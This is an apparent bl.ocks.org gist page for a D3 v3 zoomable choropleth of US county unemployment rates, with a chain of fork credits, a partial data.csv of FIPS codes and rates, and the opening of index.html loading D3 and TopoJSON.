forked from &lt;a href=&apos;http://bl.ocks.org/cmgiven/&apos;&gt;cmgiven&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/cmgiven/d39ec773c4f063a463137748097ff52f&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/670b131bf0e22caa5c0901191edd89e1&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/321222dc2bc719633f230301a0cf5105&apos;&gt;Zoomable Choropleth D3 V3&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a9012e6300d13ec5249b8f5827430505&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f41c371da87a76c88b768c67e382e3ad&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/1f1955af07b8a6b8280fa6a86b3bf033&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/78794dcae28394eec2215a1b7fb2bc24&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/867a7b513aa7edaf41dc798dd6be4d5a&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/d8b87b4d3d74944be837e21f12ec0b7e&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/b2b7902aac884a4a5f41479b0b55c952&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/74c955c65eec82f8425616d26fabee4f&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/c812bfdde1e6f06a4a437eb7112a02d4&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/12768d82017fb435c62c90649d9071d8&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/c3f658314b0cf3ce1f714631ff62ad04&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a13a390b32f5dc70a62aeb3af5e8e568&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/3dd69f510085138459f3b2702347563f&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;</code></pre>
<h3>data.csv</h3><pre><code class="language-csv">state,county,name,unemployment
01,000,Alabama,0.061
01,001,&quot;Autauga County, AL&quot;,0.052
01,003,&quot;Baldwin County, AL&quot;,0.055
01,005,&quot;Barbour County, AL&quot;,0.089
01,007,&quot;Bibb County, AL&quot;,0.066
01,009,&quot;Blount County, AL&quot;,0.054
01,011,&quot;Bullock County, AL&quot;,0.078
01,013,&quot;Butler County, AL&quot;,0.075
01,015,&quot;Calhoun County, AL&quot;,0.07
01,017,&quot;Chambers County, AL&quot;,0.06
01,019,&quot;Cherokee County, AL&quot;,0.054
01,021,&quot;Chilton County, AL&quot;,0.057
01,023,&quot;Choctaw County, AL&quot;,0.091
01,025,&quot;Clarke County, AL&quot;,0.118
01,027,&quot;Clay County, AL&quot;,0.062
01,029,&quot;Cleburne County, AL&quot;,0.06
01,031,&quot;Coffee County, AL&quot;,0.059
01,033,&quot;Colbert County, AL&quot;,0.079
01,035,&quot;Conecuh County, AL&quot;,0.092
01,037,&quot;Coosa County, AL&quot;,0.067
01,039,&quot;Covington County, AL&quot;,0.071
01,041,&quot;Crenshaw County, AL&quot;,0.06
01,043,&quot;Cullman County, AL&quot;,0.053
01,045,&quot;Dale County, AL&quot;,0.064
01,047,&quot;Dallas County, AL&quot;,0.096
01,049,&quot;DeKalb County, AL&quot;,0.06
01,051,&quot;Elmore County, AL&quot;,0.051
01,053,&quot;Escambia County, AL&quot;,0.07
01,055,&quot;Etowah County, AL&quot;,0.061
01,057,&quot;Fayette County, AL&quot;,0.07
01,059,&quot;Franklin County, AL&quot;,0.064
01,061,&quot;Geneva County, AL&quot;,0.059
01,063,&quot;Greene County, AL&quot;,0.11
01,065,&quot;Hale County, AL&quot;,0.078
01,067,&quot;Henry County, AL&quot;,0.068
01,069,&quot;Houston County, AL&quot;,0.062
01,071,&quot;Jackson County, AL&quot;,0.066
01,073,&quot;Jefferson County, AL&quot;,0.058
01,075,&quot;Lamar County, AL&quot;,0.063
01,077,&quot;Lauderdale County, AL&quot;,0.069
01,079,&quot;Lawrence County, AL&quot;,0.077
01,081,&quot;Lee County, AL&quot;,0.051
01,083,&quot;Limestone County, AL&quot;,0.055
01,085,&quot;Lowndes County, AL&quot;,0.116
01,087,&quot;Macon County, AL&quot;,0.081
01,089,&quot;Madison County, AL&quot;,0.055
01,091,&quot;Marengo County, AL&quot;,0.077
01,093,&quot;Marion County, AL&quot;,0.07
01,095,&quot;Marshall County, AL&quot;,0.058
01,097,&quot;Mobile County, AL&quot;,0.07
01,099,&quot;Monroe County, AL&quot;,0.101
01,101,&quot;Montgomery County, AL&quot;,0.062
01,103,&quot;Morgan County, AL&quot;,0.058
01,105,&quot;Perry County, AL&quot;,0.1
01,107,&quot;Pickens County, AL&quot;,0.068
01,109,&quot;Pike County, AL&quot;,0.067
01,111,&quot;Randolph County, AL&quot;,0.059
01,113,&quot;Russell County, AL&quot;,0.06
01,115,&quot;St. Clair County, AL&quot;,0.052
01,117,&quot;Shelby County, AL&quot;,0.042
01,119,&quot;Sumter County, AL&quot;,0.08
01,121,&quot;Talladega County, AL&quot;,0.066
01,123,&quot;Tallapoosa County, AL&quot;,0.061
01,125,&quot;Tuscaloosa County, AL&quot;,0.055
01,127,&quot;Walker County, AL&quot;,0.072
01,129,&quot;Washington County, AL&quot;,0.089
01,131,&quot;Wilcox County, AL&quot;,0.147
01,133,&quot;Winston County, AL&quot;,0.076
02,000,Alaska,0.067
02,013,&quot;Aleutians East Borough, AK&quot;,0.032
02,016,&quot;Aleutians West Census Area, AK&quot;,0.038
02,020,&quot;Anchorage Borough/municipality, AK&quot;,0.05
02,050,&quot;Bethel Census Area, AK&quot;,0.144
02,060,&quot;Bristol Bay Borough, AK&quot;,0.092
02,068,&quot;Denali Borough, AK&quot;,0.087
02,070,&quot;Dillingham Census Area, AK&quot;,0.097
02,090,&quot;Fairbanks North Star Borough, AK&quot;,0.054
02,100,&quot;Haines Borough, AK&quot;,0.097
02,105,&quot;Hoonah-Angoon Census Area, AK&quot;,0.15
02,110,&quot;Juneau Borough/city, AK&quot;,0.046
02,122,&quot;Kenai Peninsula Borough, AK&quot;,0.078
02,130,&quot;Ketchikan Gateway Borough, AK&quot;,0.068
02,150,&quot;Kodiak Island Borough, AK&quot;,0.049
02,158,&quot;Kusilvak Census Area, AK&quot;,0.232
02,164,&quot;Lake and Peninsula Borough, AK&quot;,0.127
02,170,&quot;Matanuska-Susitna Borough, AK&quot;,0.078
02,180,&quot;Nome Census Area, AK&quot;,0.117
02,185,&quot;North Slope Borough, AK&quot;,0.056
02,188,&quot;Northwest Arctic Borough, AK&quot;,0.155
02,195,&quot;Petersburg Borough, AK&quot;,0.089
02,198,&quot;Prince of Wales-Hyder Census Area, AK&quot;,0.125
02,220,&quot;Sitka Borough/city, AK&quot;,0.045
02,230,&quot;Skagway Municipality, AK&quot;,0.115
02,240,&quot;Southeast Fairbanks Census Area, AK&quot;,0.108
02,261,&quot;Valdez-Cordova Census Area, AK&quot;,0.088
02,275,&quot;Wrangell Borough/city, AK&quot;,0.078
02,282,&quot;Yakutat Borough/city, AK&quot;,0.083
02,290,&quot;Yukon-Koyukuk Census Area, AK&quot;,0.18
04,000,Arizona,0.06
04,001,&quot;Apache County, AZ&quot;,0.134
04,003,&quot;Cochise County, AZ&quot;,0.074
04,005,&quot;Coconino County, AZ&quot;,0.066
04,007,&quot;Gila County, AZ&quot;,0.08
04,009,&quot;Graham County, AZ&quot;,0.074
04,011,&quot;Greenlee County, AZ&quot;,0.079
04,012,&quot;La Paz County, AZ&quot;,0.076
04,013,&quot;Maricopa County, AZ&quot;,0.052
04,015,&quot;Mohave County, AZ&quot;,0.08
04,017,&quot;Navajo County, AZ&quot;,0.097
04,019,&quot;Pima County, AZ&quot;,0.056
04,021,&quot;Pinal County, AZ&quot;,0.063
04,023,&quot;Santa Cruz County, AZ&quot;,0.115
04,025,&quot;Yavapai County, AZ&quot;,0.056
04,027,&quot;Yuma County, AZ&quot;,0.218
05,000,Arkansas,0.052
05,001,&quot;Arkansas County, AR&quot;,0.044
05,003,&quot;Ashley County, AR&quot;,0.08
05,005,&quot;Baxter County, AR&quot;,0.057
05,007,&quot;Benton County, AR&quot;,0.039
05,009,&quot;Boone County, AR&quot;,0.051
05,011,&quot;Bradley County, AR&quot;,0.062
05,013,&quot;Calhoun County, AR&quot;,0.058
05,015,&quot;Carroll County, AR&quot;,0.048
05,017,&quot;Chicot County, AR&quot;,0.094
05,019,&quot;Clark County, AR&quot;,0.057
05,021,&quot;Clay County, AR&quot;,0.069
05,023,&quot;Cleburne County, AR&quot;,0.072
05,025,&quot;Cleveland County, AR&quot;,0.058
05,027,&quot;Columbia County, AR&quot;,0.068
05,029,&quot;Conway County, AR&quot;,0.063
05,031,&quot;Craighead County, AR&quot;,0.046
05,033,&quot;Crawford County, AR&quot;,0.054
05,035,&quot;Crittenden County, AR&quot;,0.064
05,037,&quot;Cross County, AR&quot;,0.056
05,039,&quot;Dallas County, AR&quot;,0.074
05,041,&quot;Desha County, AR&quot;,0.076
05,043,&quot;Drew County, AR&quot;,0.071
05,045,&quot;Faulkner County, AR&quot;,0.048
05,047,&quot;Franklin County, AR&quot;,0.052
05,049,&quot;Fulton County, AR&quot;,0.054
05,051,&quot;Garland County, AR&quot;,0.057
05,053,&quot;Grant County, AR&quot;,0.047
05,055,&quot;Greene County, AR&quot;,0.053
05,057,&quot;Hempstead County, AR&quot;,0.052
05,059,&quot;Hot Spring County, AR&quot;,0.052
05,061,&quot;Howard County, AR&quot;,0.044
05,063,&quot;Independence County, AR&quot;,0.067
05,065,&quot;Izard County, AR&quot;,0.069
05,067,&quot;Jackson County, AR&quot;,0.078
05,069,&quot;Jefferson County, AR&quot;,0.072
05,071,&quot;Johnson County, AR&quot;,0.06
05,073,&quot;Lafayette County, AR&quot;,0.079
05,075,&quot;Lawrence County, AR&quot;,0.063
05,077,&quot;Lee County, AR&quot;,0.069
05,079,&quot;Lincoln County, AR&quot;,0.063
05,081,&quot;Little River County, AR&quot;,0.057
05,083,&quot;Logan County, AR&quot;,0.059
05,085,&quot;Lonoke County, AR&quot;,0.043
05,087,&quot;Madison County, AR&quot;,0.039
05,089,&quot;Marion County, AR&quot;,0.054
05,091,&quot;Miller County, AR&quot;,0.052
05,093,&quot;Mississippi County, AR&quot;,0.093
05,095,&quot;Monroe County, AR&quot;,0.063
05,097,&quot;Montgomery County, AR&quot;,0.07
05,099,&quot;Nevada County, AR&quot;,0.052
05,101,&quot;Newton County, AR&quot;,0.051
05,103,&quot;Ouachita County, AR&quot;,0.066
05,105,&quot;Perry County, AR&quot;,0.063
05,107,&quot;Phillips County, AR&quot;,0.079
05,109,&quot;Pike County, AR&quot;,0.062
05,111,&quot;Poinsett County, AR&quot;,0.057
05,113,&quot;Polk County, AR&quot;,0.06
05,115,&quot;Pope County, AR&quot;,0.055
05,117,&quot;Prairie County, AR&quot;,0.048
05,119,&quot;Pulaski County, AR&quot;,0.047
05,121,&quot;Randolph County, AR&quot;,0.074
05,123,&quot;St. Francis County, AR&quot;,0.075
05,125,&quot;Saline County, AR&quot;,0.042
05,127,&quot;Scott County, AR&quot;,0.05
05,129,&quot;Searcy County, AR&quot;,0.058
05,131,&quot;Sebastian County, AR&quot;,0.05
05,133,&quot;Sevier County, AR&quot;,0.064
05,135,&quot;Sharp County, AR&quot;,0.071
05,137,&quot;Stone County, AR&quot;,0.065
05,139,&quot;Union County, AR&quot;,0.064
05,141,&quot;Van Buren County, AR&quot;,0.07
05,143,&quot;Washington County, AR&quot;,0.036
05,145,&quot;White County, AR&quot;,0.065
05,147,&quot;Woodruff County, AR&quot;,0.067
05,149,&quot;Yell County, AR&quot;,0.053
06,000,California,0.062
06,001,&quot;Alameda County, CA&quot;,0.047
06,003,&quot;Alpine County, CA&quot;,0.079
06,005,&quot;Amador County, CA&quot;,0.066
06,007,&quot;Butte County, CA&quot;,0.072
06,009,&quot;Calaveras County, CA&quot;,0.065
06,011,&quot;Colusa County, CA&quot;,0.153
06,013,&quot;Contra Costa County, CA&quot;,0.05
06,015,&quot;Del Norte County, CA&quot;,0.086
06,017,&quot;El Dorado County, CA&quot;,0.057
06,019,&quot;Fresno County, CA&quot;,0.102
06,021,&quot;Glenn County, CA&quot;,0.087
06,023,&quot;Humboldt County, CA&quot;,0.056
06,025,&quot;Imperial County, CA&quot;,0.24
06,027,&quot;Inyo County, CA&quot;,0.058
06,029,&quot;Kern County, CA&quot;,0.102
06,031,&quot;Kings County, CA&quot;,0.105
06,033,&quot;Lake County, CA&quot;,0.077
06,035,&quot;Lassen County, CA&quot;,0.073
06,037,&quot;Los Angeles County, CA&quot;,0.067
06,039,&quot;Madera County, CA&quot;,0.105
06,041,&quot;Marin County, CA&quot;,0.035
06,043,&quot;Mariposa County, CA&quot;,0.072
06,045,&quot;Mendocino County, CA&quot;,0.059
06,047,&quot;Merced County, CA&quot;,0.114
06,049,&quot;Modoc County, CA&quot;,0.088
06,051,&quot;Mono County, CA&quot;,0.061
06,053,&quot;Monterey County, CA&quot;,0.081
06,055,&quot;Napa County, CA&quot;,0.046
06,057,&quot;Nevada County, CA&quot;,0.055
06,059,&quot;Orange County, CA&quot;,0.045
06,061,&quot;Placer County, CA&quot;,0.05
06,063,&quot;Plumas County, CA&quot;,0.104
06,065,&quot;Riverside County, CA&quot;,0.067
06,067,&quot;Sacramento County, CA&quot;,0.06
06,069,&quot;San Benito County, CA&quot;,0.076
06,071,&quot;San Bernardino County, CA&quot;,0.065
06,073,&quot;San Diego County, CA&quot;,0.052
06,075,&quot;San Francisco County/city, CA&quot;,0.036
06,077,&quot;San Joaquin County, CA&quot;,0.089
06,079,&quot;San Luis Obispo County, CA&quot;,0.046
06,081,&quot;San Mateo County, CA&quot;,0.034
06,083,&quot;Santa Barbara County, CA&quot;,0.053
06,085,&quot;Santa Clara County, CA&quot;,0.042
06,087,&quot;Santa Cruz County, CA&quot;,0.075
06,089,&quot;Shasta County, CA&quot;,0.078
06,091,&quot;Sierra County, CA&quot;,0.09
06,093,&quot;Siskiyou County, CA&quot;,0.094
06,095,&quot;Solano County, CA&quot;,0.061
06,097,&quot;Sonoma County, CA&quot;,0.045
06,099,&quot;Stanislaus County, CA&quot;,0.095
06,101,&quot;Sutter County, CA&quot;,0.108
06,103,&quot;Tehama County, CA&quot;,0.08
06,105,&quot;Trinity County, CA&quot;,0.078
06,107,&quot;Tulare County, CA&quot;,0.117
06,109,&quot;Tuolumne County, CA&quot;,0.071
06,111,&quot;Ventura County, CA&quot;,0.057
06,113,&quot;Yolo County, CA&quot;,0.064
06,115,&quot;Yuba County, CA&quot;,0.092
08,000,Colorado,0.039
08,001,&quot;Adams County, CO&quot;,0.043
08,003,&quot;Alamosa County, CO&quot;,0.052
08,005,&quot;Arapahoe County, CO&quot;,0.037
08,007,&quot;Archuleta County, CO&quot;,0.04
08,009,&quot;Baca County, CO&quot;,0.021
08,011,&quot;Bent County, CO&quot;,0.039
08,013,&quot;Boulder County, CO&quot;,0.032
08,014,&quot;Broomfield County/city, CO&quot;,0.033
08,015,&quot;Chaffee County, CO&quot;,0.034
08,017,&quot;Cheyenne County, CO&quot;,0.027
08,019,&quot;Clear Creek County, CO&quot;,0.037
08,021,&quot;Conejos County, CO&quot;,0.056
08,023,&quot;Costilla County, CO&quot;,0.065
08,025,&quot;Crowley County, CO&quot;,0.045
08,027,&quot;Custer County, CO&quot;,0.035
08,029,&quot;Delta County, CO&quot;,0.057
08,031,&quot;Denver County/city, CO&quot;,0.037
08,033,&quot;Dolores County, CO&quot;,0.031
08,035,&quot;Douglas County, CO&quot;,0.031
08,037,&quot;Eagle County, CO&quot;,0.031
08,039,&quot;Elbert County, CO&quot;,0.031
08,041,&quot;El Paso County, CO&quot;,0.046
08,043,&quot;Fremont County, CO&quot;,0.062
08,045,&quot;Garfield County, CO&quot;,0.041
08,047,&quot;Gilpin County, CO&quot;,0.031
08,049,&quot;Grand County, CO&quot;,0.032
08,051,&quot;Gunnison County, CO&quot;,0.029
08,053,&quot;Hinsdale County, CO&quot;,0.03
08,055,&quot;Huerfano County, CO&quot;,0.077
08,057,&quot;Jackson County, CO&quot;,0.037
08,059,&quot;Jefferson County, CO&quot;,0.035
08,061,&quot;Kiowa County, CO&quot;,0.026
08,063,&quot;Kit Carson County, CO&quot;,0.024
08,065,&quot;Lake County, CO&quot;,0.038
08,067,&quot;La Plata County, CO&quot;,0.035
08,069,&quot;Larimer County, CO&quot;,0.033
08,071,&quot;Las Animas County, CO&quot;,0.056
08,073,&quot;Lincoln County, CO&quot;,0.034
08,075,&quot;Logan County, CO&quot;,0.031
08,077,&quot;Mesa County, CO&quot;,0.055
08,079,&quot;Mineral County, CO&quot;,0.037
08,081,&quot;Moffat County, CO&quot;,0.045
08,083,&quot;Montezuma County, CO&quot;,0.056
08,085,&quot;Montrose County, CO&quot;,0.051
08,087,&quot;Morgan County, CO&quot;,0.038
08,089,&quot;Otero County, CO&quot;,0.058
08,091,&quot;Ouray County, CO&quot;,0.043
08,093,&quot;Park County, CO&quot;,0.034
08,095,&quot;Phillips County, CO&quot;,0.024
08,097,&quot;Pitkin County, CO&quot;,0.038
08,099,&quot;Prowers County, CO&quot;,0.041
08,101,&quot;Pueblo County, CO&quot;,0.057
08,103,&quot;Rio Blanco County, CO&quot;,0.053
08,105,&quot;Rio Grande County, CO&quot;,0.063
08,107,&quot;Routt County, CO&quot;,0.032
08,109,&quot;Saguache County, CO&quot;,0.061
08,111,&quot;San Juan County, CO&quot;,0.041
08,113,&quot;San Miguel County, CO&quot;,0.037
08,115,&quot;Sedgwick County, CO&quot;,0.034
08,117,&quot;Summit County, CO&quot;,0.025
08,119,&quot;Teller County, CO&quot;,0.044
08,121,&quot;Washington County, CO&quot;,0.025
08,123,&quot;Weld County, CO&quot;,0.038
08,125,&quot;Yuma County, CO&quot;,0.027
09,000,Connecticut,0.056
09,001,&quot;Fairfield County, CT&quot;,0.053
09,003,&quot;Hartford County, CT&quot;,0.059
09,005,&quot;Litchfield County, CT&quot;,0.05
09,007,&quot;Middlesex County, CT&quot;,0.048
09,009,&quot;New Haven County, CT&quot;,0.061
09,011,&quot;New London County, CT&quot;,0.058
09,013,&quot;Tolland County, CT&quot;,0.048
09,015,&quot;Windham County, CT&quot;,0.062
10,000,Delaware,0.05
10,001,&quot;Kent County, DE&quot;,0.054
10,003,&quot;New Castle County, DE&quot;,0.047
10,005,&quot;Sussex County, DE&quot;,0.05
11,000,District of Columbia,0.069
11,001,District of Columbia,0.069
12,000,Florida,0.054
12,001,&quot;Alachua County, FL&quot;,0.045
12,003,&quot;Baker County, FL&quot;,0.054
12,005,&quot;Bay County, FL&quot;,0.054
12,007,&quot;Bradford County, FL&quot;,0.048
12,009,&quot;Brevard County, FL&quot;,0.059
12,011,&quot;Broward County, FL&quot;,0.05
12,013,&quot;Calhoun County, FL&quot;,0.061
12,015,&quot;Charlotte County, FL&quot;,0.059
12,017,&quot;Citrus County, FL&quot;,0.074
12,019,&quot;Clay County, FL&quot;,0.049
12,021,&quot;Collier County, FL&quot;,0.052
12,023,&quot;Columbia County, FL&quot;,0.054
12,027,&quot;DeSoto County, FL&quot;,0.06
12,029,&quot;Dixie County, FL&quot;,0.061
12,031,&quot;Duval County, FL&quot;,0.057
12,033,&quot;Escambia County, FL&quot;,0.056
12,035,&quot;Flagler County, FL&quot;,0.062
12,037,&quot;Franklin County, FL&quot;,0.046
12,039,&quot;Gadsden County, FL&quot;,0.07
12,041,&quot;Gilchrist County, FL&quot;,0.055
12,043,&quot;Glades County, FL&quot;,0.071
12,045,&quot;Gulf County, FL&quot;,0.051
12,047,&quot;Hamilton County, FL&quot;,0.051
12,049,&quot;Hardee County, FL&quot;,0.067
12,051,&quot;Hendry County, FL&quot;,0.103
12,053,&quot;Hernando County, FL&quot;,0.068
12,055,&quot;Highlands County, FL&quot;,0.074
12,057,&quot;Hillsborough County, FL&quot;,0.05
12,059,&quot;Holmes County, FL&quot;,0.062
12,061,&quot;Indian River County, FL&quot;,0.068
12,063,&quot;Jackson County, FL&quot;,0.058
12,065,&quot;Jefferson County, FL&quot;,0.058
12,067,&quot;Lafayette County, FL&quot;,0.045
12,069,&quot;Lake County, FL&quot;,0.054
12,071,&quot;Lee County, FL&quot;,0.05
12,073,&quot;Leon County, FL&quot;,0.05
12,075,&quot;Levy County, FL&quot;,0.057
12,077,&quot;Liberty County, FL&quot;,0.057
12,079,&quot;Madison County, FL&quot;,0.062
12,081,&quot;Manatee County, FL&quot;,0.05
12,083,&quot;Marion County, FL&quot;,0.064
12,085,&quot;Martin County, FL&quot;,0.052
12,086,&quot;Miami-Dade County, FL&quot;,0.061
12,087,&quot;Monroe County, FL&quot;,0.035
12,089,&quot;Nassau County, FL&quot;,0.05
12,091,&quot;Okaloosa County, FL&quot;,0.045
12,093,&quot;Okeechobee County, FL&quot;,0.062
12,095,&quot;Orange County, FL&quot;,0.049
12,097,&quot;Osceola County, FL&quot;,0.057
12,099,&quot;Palm Beach County, FL&quot;,0.05
12,101,&quot;Pasco County, FL&quot;,0.058
12,103,&quot;Pinellas County, FL&quot;,0.049
12,105,&quot;Polk County, FL&quot;,0.062
12,107,&quot;Putnam County, FL&quot;,0.072
12,109,&quot;St. Johns County, FL&quot;,0.039
12,111,&quot;St. Lucie County, FL&quot;,0.062
12,113,&quot;Santa Rosa County, FL&quot;,0.048
12,115,&quot;Sarasota County, FL&quot;,0.05
12,117,&quot;Seminole County, FL&quot;,0.048
12,119,&quot;Sumter County, FL&quot;,0.075
12,121,&quot;Suwannee County, FL&quot;,0.055
12,123,&quot;Taylor County, FL&quot;,0.066
12,125,&quot;Union County, FL&quot;,0.048
12,127,&quot;Volusia County, FL&quot;,0.057
12,129,&quot;Wakulla County, FL&quot;,0.046
12,131,&quot;Walton County, FL&quot;,0.046
12,133,&quot;Washington County, FL&quot;,0.059
13,000,Georgia,0.058
13,001,&quot;Appling County, GA&quot;,0.071
13,003,&quot;Atkinson County, GA&quot;,0.056
13,005,&quot;Bacon County, GA&quot;,0.055
13,007,&quot;Baker County, GA&quot;,0.073
13,009,&quot;Baldwin County, GA&quot;,0.078
13,011,&quot;Banks County, GA&quot;,0.054
13,013,&quot;Barrow County, GA&quot;,0.052
13,015,&quot;Bartow County, GA&quot;,0.057
13,017,&quot;Ben Hill County, GA&quot;,0.09
13,019,&quot;Berrien County, GA&quot;,0.07
13,021,&quot;Bibb County, GA&quot;,0.066
13,023,&quot;Bleckley County, GA&quot;,0.091
13,025,&quot;Brantley County, GA&quot;,0.073
13,027,&quot;Brooks County, GA&quot;,0.059
13,029,&quot;Bryan County, GA&quot;,0.052
13,031,&quot;Bulloch County, GA&quot;,0.06
13,033,&quot;Burke County, GA&quot;,0.08
13,035,&quot;Butts County, GA&quot;,0.064
13,037,&quot;Calhoun County, GA&quot;,0.061
13,039,&quot;Camden County, GA&quot;,0.055
13,043,&quot;Candler County, GA&quot;,0.056
13,045,&quot;Carroll County, GA&quot;,0.066
13,047,&quot;Catoosa County, GA&quot;,0.051
13,049,&quot;Charlton County, GA&quot;,0.062
13,051,&quot;Chatham County, GA&quot;,0.057
13,053,&quot;Chattahoochee County, GA&quot;,0.088
13,055,&quot;Chattooga County, GA&quot;,0.062
13,057,&quot;Cherokee County, GA&quot;,0.046
13,059,&quot;Clarke County, GA&quot;,0.059
13,061,&quot;Clay County, GA&quot;,0.113
13,063,&quot;Clayton County, GA&quot;,0.075
13,065,&quot;Clinch County, GA&quot;,0.068
13,067,&quot;Cobb County, GA&quot;,0.05
13,069,&quot;Coffee County, GA&quot;,0.066
13,071,&quot;Colquitt County, GA&quot;,0.064
13,073,&quot;Columbia County, GA&quot;,0.05
13,075,&quot;Cook County, GA&quot;,0.066
13,077,&quot;Coweta County, GA&quot;,0.052
13,079,&quot;Crawford County, GA&quot;,0.061
13,081,&quot;Crisp County, GA&quot;,0.069
13,083,&quot;Dade County, GA&quot;,0.054
13,085,&quot;Dawson County, GA&quot;,0.05
13,087,&quot;Decatur County, GA&quot;,0.067
13,089,&quot;DeKalb County, GA&quot;,0.059
13,091,&quot;Dodge County, GA&quot;,0.083
13,093,&quot;Dooly County, GA&quot;,0.075
13,095,&quot;Dougherty County, GA&quot;,0.077
13,097,&quot;Douglas County, GA&quot;,0.062
13,099,&quot;Early County, GA&quot;,0.068
13,101,&quot;Echols County, GA&quot;,0.047
13,103,&quot;Effingham County, GA&quot;,0.05
13,105,&quot;Elbert County, GA&quot;,0.074
13,107,&quot;Emanuel County, GA&quot;,0.085
13,109,&quot;Evans County, GA&quot;,0.055
13,111,&quot;Fannin County, GA&quot;,0.06
13,113,&quot;Fayette County, GA&quot;,0.051
13,115,&quot;Floyd County, GA&quot;,0.066
13,117,&quot;Forsyth County, GA&quot;,0.044
13,119,&quot;Franklin County, GA&quot;,0.063
13,121,&quot;Fulton County, GA&quot;,0.058
13,123,&quot;Gilmer County, GA&quot;,0.058
13,125,&quot;Glascock County, GA&quot;,0.066
13,127,&quot;Glynn County, GA&quot;,0.06
13,129,&quot;Gordon County, GA&quot;,0.057
13,131,&quot;Grady County, GA&quot;,0.06
13,133,&quot;Greene County, GA&quot;,0.07
13,135,&quot;Gwinnett County, GA&quot;,0.051
13,137,&quot;Habersham County, GA&quot;,0.056
13,139,&quot;Hall County, GA&quot;,0.047
13,141,&quot;Hancock County, GA&quot;,0.1
13,143,&quot;Haralson Cou</code></pre><p><em>Truncated — <a href="https://gist.github.com/f644e13737e8a14417ebbd4374e1281b">view the full gist</a>.</em></p>
<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;style&gt;
body { background: transparent; }
path { stroke: #333; stroke-width: 1; }
path:hover { stroke-width: 3; }
  #console {
    font-size: 11px;
    font-family: &quot;Courier&quot;, &quot;fixed-width&quot;;
    width: 400px;
    height: 150px;
    position: fixed;
    top: 0;
		left: 0;
    padding: 4px;
    overflow: auto;
    background-color: white;
    border: 2px solid black;
  }
  #console p {
    margin-top: 1px;
    margin-bottom: 0
  }
  svg {
    border: 5px solid red;
  }
  path {
    stroke: white;
  }
&lt;/style&gt;
&lt;body&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/d3/3.5.17/d3.min.js&quot;&gt;&lt;/script&gt;
&lt;!-- &lt;script src=&quot;http://d3js.org/queue.v1.min.js&quot;&gt;&lt;/script&gt; --&gt;

&lt;script src=&quot;//d3js.org/topojson.v1.min.js&quot;&gt;&lt;/script&gt;
  
  &lt;div id=&quot;console&quot;&gt;&lt;/div&gt;
  
&lt;svg id=&quot;zoomy-map&quot; width=&quot;400&quot; height=&quot;300&quot;&gt;&lt;/svg&gt;
  
&lt;script&gt;


  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;v0.07&apos;)

  
  
  
var width = 960
var height = 600
var padding = 20

var allData = []

var color = d3.scale.threshold()
    .domain([0.028, 0.038, 0.048, 0.058, 0.068, 0.078])
